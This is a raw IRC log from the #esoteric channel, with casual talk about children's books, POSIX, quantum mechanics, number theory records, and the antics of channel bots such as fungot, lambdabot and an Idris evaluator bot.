PRIVMSG #esoteric :astrid lindgren? < 1393835986 663570 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :there was a thing with his father and his foot and a mousetrap under the table or something, right? < 1393836001 267580 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :or am i thinking of something else < 1393836014 79262 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :was it his father who talked about the value of shoes that last a long time? < 1393836018 353243 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i dunno, i don't remember everything emil < 1393836041 649543 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :imo why not < 1393836049 85826 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :the mousetrap thing fits, but I wouldn't remember talk about the value of shoes < 1393836051 95837 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i might be thinking of something else < 1393836074 75566 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :lifthrasiir: if you have beliefs that contradict POSIX, then it would be quite difficult to persuade operating systems to accommodate for them < 1393836081 405124 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(don't think i've read the books, except occasionaly bits) < 1393836104 258083 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :if you do have religious convictions against POSIX, what operating system could you use? < 1393836139 638714 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :ais523: I fully understand POSIX's position though. < 1393836146 253828 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :unfortunate but I can deal with them < 1393836152 509989 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and i probably haven't seen all the tv series either, but my memory is strangely vague 35 years back < 1393836170 627862 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :olsner: well Windows isn't POSIX-compatible by default, and many operating systems don't claim POSIX compatibility at all < 1393836173 409713 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-y < 1393836285 453730 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :pretty sure TempleOS isn't POSIX < 1393836348 429263 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION suddenly wonders if there's a JihadOS somewhere < 1393836392 692745 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :they mostly use windows, like everyone else. < 1393836421 413752 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there's a jihad os youtube channel, but it seems irrelevant. < 1393837701 233753 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^style sms < 1393837701 455505 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: sms (National University of Singapore SMS corpus, 2011-08-20) < 1393837710 12115 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: how u doin < 1393837710 306336 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: today i am in cbe only. but have to seek. hee... i come to get yours. < 1393837744 400048 :ion!ion@heh.fi PRIVMSG #esoteric :Selected style: sms (National Security Agency of USA SMS corpus) < 1393837826 951177 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: You're sounding suspiciously grammatic there. < 1393837827 157362 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: no i am not near so cant come.pls ask ur famly2b there4 novena i wait for u. < 1393837827 417452 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fungot: hungot < 1393837827 675910 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :shachaf: its just decorative askeveryone bah PAT cineleisure. its really no 1 in most of the sites to take u back < 1393840904 271931 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393841051 595558 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Bike: "Get MATLAB Certified" "Enhance your credibility and accelerate your career by earning this credential." < 1393841054 599935 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :2. certifiable, certified -- (fit to be certified as insane (and treated accordingly)) < 1393841163 452464 :impomatic!~chatzilla@37.152.198.84 QUIT :Quit: ChatZilla 0.9.90.1 [Firefox 27.0.1/20140212131424] < 1393841462 681729 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: i'm not quite sure how [[MOS:CODE]] applies here; should i delete the whole section or leave the python https://en.wikipedia.org/w/index.php?title=Look-and-say_sequence&curid=563980&diff=597851911&oldid=590719332#Computer_program < 1393841488 782284 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: /me looks < 1393841491 548731 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(it has been gradually growing, and today someone added php) < 1393841541 416630 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in particular, i'm not sure _any_ of the code samples are particularly illustrative < 1393841584 750740 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i'm not sure who i'm asking exactly, but something i've been wondering lately because i've been pretending to read some quantum computation stuff: so is the many-worlds interpretation of quantum mechanics specific to quantum stuff somehow, in the sense that it's not just a many-worlds interpretation of randomness, but with quantum-type probabilities instead? (by the mw interpretation of randomness i mean we assume physics has random stuff, and branch < 1393841584 975363 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric : world when random happens) < 1393841606 84571 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the PHP definitely needs to be deleted, per that section; I'd say delete them all because none of them implement an algorithm described in the article < 1393841614 270240 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1393841617 537264 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(maybe i'm asking oerjan because he surely pretends to vaguely recall this stuff) < 1393842176 624210 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well much of the weirdness is because the quantum-type probabilites and entanglements prevent you from dividing it up into what i assume you mean by many-worlds interpretation of randomness. so i'd say yes. < 1393843078 432195 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :actually i have no idea what a many-worlds interpretation would even be for qm stuff < 1393843094 946911 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :and the way i've heard it described it applies to randomness, but not quantum stuff < 1393843113 39258 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :so maybe it's a bit too early for me to ask this kind of question < 1393843139 76313 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep < 1393843208 915695 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but i totally grok grover's algorithm < 1393843271 156582 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :good, good, because i don't. < 1393843275 48054 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :shaving -> < 1393844266 739403 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I wonder if fungot shaves < 1393844266 964852 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: there is no. yellow is yes. i tell. stupid hear after i wont talk to you:-. lg so in lv, her class ends. lets u dwn ur dirty. that was very well done! could see lot ofthought put into it. happy to help anytime :) < 1393844417 363903 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I love the way that that look likes a relevant answer, and yet it's totally unclear what it means < 1393844488 356279 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fungot: glad that you're happy but it didn't help < 1393844488 541156 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: k d i vil cum der dude..u dint create to < 1393844556 700078 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, I'm reading an article (found via reddit) whose author was actually using numbers so large they broke GMP's deserializer: http://fredrikj.net/blog/2014/03/new-partition-function-record/ < 1393844567 376504 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(that's 2^256 bits) < 1393844977 212521 :password2!~password@197.78.166.46 QUIT :Ping timeout: 240 seconds < 1393844991 170345 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I like the last fun fact about the result < 1393845355 912699 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1393845449 960227 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Also links to the nice sequence http://oeis.org/A110375 < 1393845549 280202 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :"With current technology, the most efficient way to determine p(n) modulo a small integer is to compute the full value p(n) and then reduce it." <-- huh. < 1393845762 791830 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://upload.wikimedia.org/math/3/5/d/35dd2572c02024c6ef2767567c153453.png < 1393845868 864160 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1393846544 849902 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393846737 688572 :ion!ion@heh.fi PRIVMSG #esoteric :http://imgur.com/gallery/18fM5ja < 1393846842 745084 :ion!ion@heh.fi PRIVMSG #esoteric :http://25.media.tumblr.com/65b069ec1d366940e14a407192b163c4/tumblr_n0docrpPEt1qzpsuoo1_1280.jpg < 1393847125 969396 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ggggggg! < 1393847135 9879 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :aaaaaaaaaaaaaaaa < 1393847328 547442 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@massagas-loud < 1393847328 771325 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :fizzie asked 4h 12m 42s ago: Well, is the text of the strips available? < 1393847342 417518 :ion!ion@heh.fi PRIVMSG #esoteric :@massages-lord < 1393847342 602398 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1393847344 965335 :ion!ion@heh.fi PRIVMSG #esoteric :@massage-lord < 1393847345 156314 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1393847355 727624 :ion!ion@heh.fi PRIVMSG #esoteric :@massages-lard < 1393847355 912654 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1393847390 89803 :ion!ion@heh.fi PRIVMSG #esoteric :@messages-lard < 1393847390 311225 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1393847401 772454 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: it was a purposefully silly request, but if the text is available one way or another, then it's a plus. < 1393847405 513104 :ion!ion@heh.fi PRIVMSG #esoteric :It matches anything with L. distance ≤ 2? < 1393847412 631869 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :boily: I forgot to @tell that I read a bit more of the backscroll and deduced the answer was "apparently not". < 1393847414 337178 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ion: indeed. < 1393847432 990570 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: fizziello! < 1393847441 295271 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :boily: It might be an amusing diversion to do a bit of speech bubble recognition and OCR. < 1393847461 388986 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages-l < 1393847461 574067 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1393847470 76348 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages- < 1393847470 261480 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1393847475 969141 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ion: also, do you happen to have a keyboard shortcut to get «≤»? < 1393847481 662169 :ion!ion@heh.fi PRIVMSG #esoteric :boily: compose < = < 1393847485 608816 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ion: also an exact unambiguous prefix < 1393847493 882286 :ion!ion@heh.fi PRIVMSG #esoteric :oerjan: ok < 1393847503 81938 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ion: oh. the mysterious compose key. < 1393847504 409833 :ion!ion@heh.fi PRIVMSG #esoteric :@qessages-loud < 1393847504 594681 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1393847510 324967 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm wait < 1393847513 606306 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@queso < 1393847513 791729 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1393847516 101152 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages? < 1393847516 329833 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Sorry, no messages today. < 1393847521 617237 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages? < 1393847521 818187 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Sorry, no messages today. < 1393847523 901841 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages- < 1393847524 96102 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1393847532 937348 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok the responses are different < 1393847565 987194 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@messagesX < 1393847566 211241 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: messages? messages < 1393847597 882783 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, right, messages- is one of those unambiguous prefixes. < 1393847612 821429 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :right, that's what i was testing < 1393847812 549182 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@bg < 1393847812 734101 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: bug bf < 1393847814 316850 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@be < 1393847814 517621 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Done. < 1393847843 484082 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I guess it's enough that the correction with the shortest L. distance is unique. < 1393847862 78655 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yeah < 1393847932 895383 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@be ++++[>++++++++<]>+. < 1393847938 44307 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Done. < 1393847942 40791 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@be ++++[>++++++++<-]>+. < 1393847942 225638 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : ! < 1393848289 26470 :boily!~boily@96.127.201.149 QUIT :Quit: COMET CHICKEN < 1393848401 173775 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393848557 689087 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :"@be"? wouldn't that be short for befunge? < 1393848712 844508 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If only lambdabot did that. < 1393849560 796624 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :maybe it's a strange befunge variant that has a call bracket loops and a call stack of positions < 1393850092 764092 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1393850426 908550 :reynir!~reynir@unaffiliated/reynir PRIVMSG #esoteric :> fromInteger 42 < 1393850427 94107 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :0442 : 12Integer < 1393850428 141468 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 42 < 1393850446 672268 :reynir!~reynir@unaffiliated/reynir PRIVMSG #esoteric :the (Fin 8) 3 < 1393850450 969156 :reynir!~reynir@unaffiliated/reynir PRIVMSG #esoteric :> the (Fin 8) 3 < 1393850451 656390 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04fS (04fS (04fS 04fZ)) : 12Fin 048 < 1393850451 976626 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Fin' < 1393850452 161856 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant `Fini' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted) < 1393851321 902809 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393851876 128215 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Assuming no other commands affecting control flow, in a single-line Funge-98 program [abcd] *is*, in fact, a loop, albeit one that bounces around (executes abcd dcba abcd dcba...) and is not conditional at all. And wouldn't be entered in the first place in "++++[>++++++++<-]>+.". < 1393852026 594811 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1393852677 502441 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"Worms developer Team17 revealed at the PlayStation Open Day in Royal Leamington Spa in Warwickshire, Englandthat that a new intellectual property named Flockers is in the works. " < 1393852691 60960 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Who phrases it as 'intellectual property'? < 1393852777 502885 :ion!ion@heh.fi PRIVMSG #esoteric :The kind of people who use a term like “intellectual property”. < 1393853042 735646 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That doesn't sound so out-of-place there. Though I'd've expected the abbreviation IP instead. < 1393853266 574221 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Intellectual real estate < 1393853339 368407 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1393854482 246565 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::( http://www.techradar.com/news/software/applications/chrome-rubs-beta-users-the-wrong-way-with-update-1229690 < 1393854584 885852 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :No option to disable? < 1393854600 965305 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Although I certainly see how even that could be abused by malicious persons, but... < 1393854989 866815 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t fZ < 1393854990 240839 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04Prelude.Fin.fZ : 12Fin (04S 13k) < 1393854991 292872 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393855023 153013 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I assume that that basically means {k : Nat} -> Fin (S k) < 1393855023 471346 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :? < 1393855312 875487 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1393855414 442275 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net QUIT :Quit: Terminated < 1393855433 350582 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net JOIN :#esoteric < 1393857275 887242 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1393858370 452050 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1393858549 883265 :itsy!~john_metc@37.152.198.84 QUIT :Ping timeout: 244 seconds < 1393859024 722326 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Hmm, firefox.exe is now spinning because it has hit some kind of address space limit in NT. < 1393859137 700082 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :"Private bytes: 3 400 164 K" < 1393860876 498070 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393861680 805719 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 244 seconds < 1393861914 236282 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393862000 458344 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393862147 687325 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393862218 324246 :vravn!~vravn@syn.rook.sx QUIT :Client Quit < 1393862357 312361 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393862360 855166 :vravn!~vravn@syn.rook.sx QUIT :Client Quit < 1393862597 717107 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393863062 785976 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393863069 569046 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 252 seconds < 1393863180 482980 :dawg92!~dawg91@p5B2D0670.dip0.t-ipconnect.de JOIN :#esoteric < 1393863839 230102 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393864337 565321 :dawg92!~dawg91@p5B2D0670.dip0.t-ipconnect.de PART #esoteric :"Verlassend" < 1393864649 95655 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1393864823 497051 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393866145 177807 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 240 seconds < 1393866250 298901 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393866469 191682 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i love credibility < 1393866542 556631 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393866568 652821 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 252 seconds < 1393866669 333611 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393866734 793130 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393866735 67081 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393867199 404888 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1393868419 947092 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Read error: Connection reset by peer < 1393869077 388695 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 252 seconds < 1393869332 352257 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393869597 119501 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393869742 901459 :Tritonio!~Thunderbi@athedsl-19747.home.otenet.gr JOIN :#esoteric < 1393869785 786877 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :y'all realize i'm going to snap and kick idris-ircslave if it keeps requiring lambdabot error messages to operate it, right? < 1393869799 946658 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hth < 1393869987 203184 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :I only brought it here on request of Sgeo, him IIUC understanding this problem. I can remove it anytime if you wish. < 1393870043 850822 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it would help if there was at least _some_ way of triggering only your bot. with lambdabot i can use @run instead of > < 1393870070 282122 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393870108 306612 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :with idris being written in haskell i'm surprised the bots haven't been in the same channel before... < 1393870199 136081 :atrapado!~ddd@unaffiliated/atrapado JOIN :#esoteric < 1393870269 531435 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393870278 461915 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393870282 545118 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1393870350 319467 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393870396 100175 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :do the lambdabot errors bother you that much? < 1393870441 60728 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1393870442 291683 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :_everything_ out of place bothers me that much, quintopia < 1393870469 316300 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :so sensitive < 1393870475 811671 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep, it's awful < 1393870478 118904 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :is your room immaculate < 1393870498 743208 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah. i may have to rephrase that. < 1393870519 699258 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :everything out of place that _moves_. < 1393870588 360137 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i see. and thus you can avoid having to keep your car immaculate by eschewing privately-owned vehicles and depending upon public transport < 1393870588 545528 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393870637 103337 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep. except i don't take much public transport either these days. < 1393870656 394775 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: idris-ircslave has so far only been in #idris, and #idris doesn’t keep a lambdabot. < 1393870714 103507 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it is possible i am exaggerating. we'll see. < 1393870783 350135 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oerjan: you walk? < 1393870814 403745 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quintopia: in this suburb, yes. and i rarely get out of it. < 1393870854 840924 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i could theoretically walk to work. but rain. and getting work clothes sweaty. :( < 1393870890 593163 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I could theoretically not walk to work, but it would take more time < 1393870983 83122 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@list-channels < 1393870983 307889 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1393870988 483344 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm what was it again < 1393870999 219367 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@list channels < 1393870999 404318 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No module "channels" loaded < 1393871001 767292 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@list channel < 1393871001 952394 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No module "channel" loaded < 1393871014 64044 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@list *channel* < 1393871014 249019 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No module "*channel*" loaded < 1393871039 163278 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: you know, a fuzzy command lookup would be great < 1393871053 747392 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@list admin < 1393871054 12529 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :system provides: listchans listmodules listservers list echo uptime < 1393871057 906689 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@listchans < 1393871058 201487 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :##categorytheory ##crypto ##logic ##manatee ##megaharem ##proggit ##villagegreen #agda #arch-haskell #csa_uva #darcs #diagrams #dreamlinux-es #esoteric #fedora-haskell #friendly-coders #functionaljava #gentoo-haskell #gentoo-uy #ghc #happs #haskell #haskell-arcade #haskell-blah #haskell-books #haskell-br #haskell-fr #haskell-freebsd #haskell-game < 1393871058 387284 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :#haskell-gsoc #haskell-in-depth #haskell-infrastructure #haskell-lens #haskell-llvm #haskell-overflow #haskell-pl #haskell-soc #haskell.au #haskell.cz #haskell.de #haskell.dut #haskell.es #haskell.fi #haskell.hr #haskell.it #haskell.jp #haskell.no #haskell.ru #haskell.se #haskell.tw #haskell_ru #hscraft-srv #jhc #jtiger #learnanycomputerlanguage # < 1393871058 387439 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :learnprogramming #ledger #lesswrong #lw-prog #macosx #macosxdev #mainehackerclub #numerical-haskell #rosettacode #scala #scalaz #scannedinavian #simonsolutions #snapframework #tanuki #unicycling #xmonad #yi < 1393871079 994312 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393871100 646744 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar: as i thought, #agda is in there. so i thought surely #idris would have been. < 1393871123 826414 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :listchans looks great for spamming < 1393871177 754593 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :I DON'T KNOW WHAT YOU'RE TALKING ABOUT < 1393871178 329108 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1393871197 394690 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there are some interesting channels in there. < 1393871215 127947 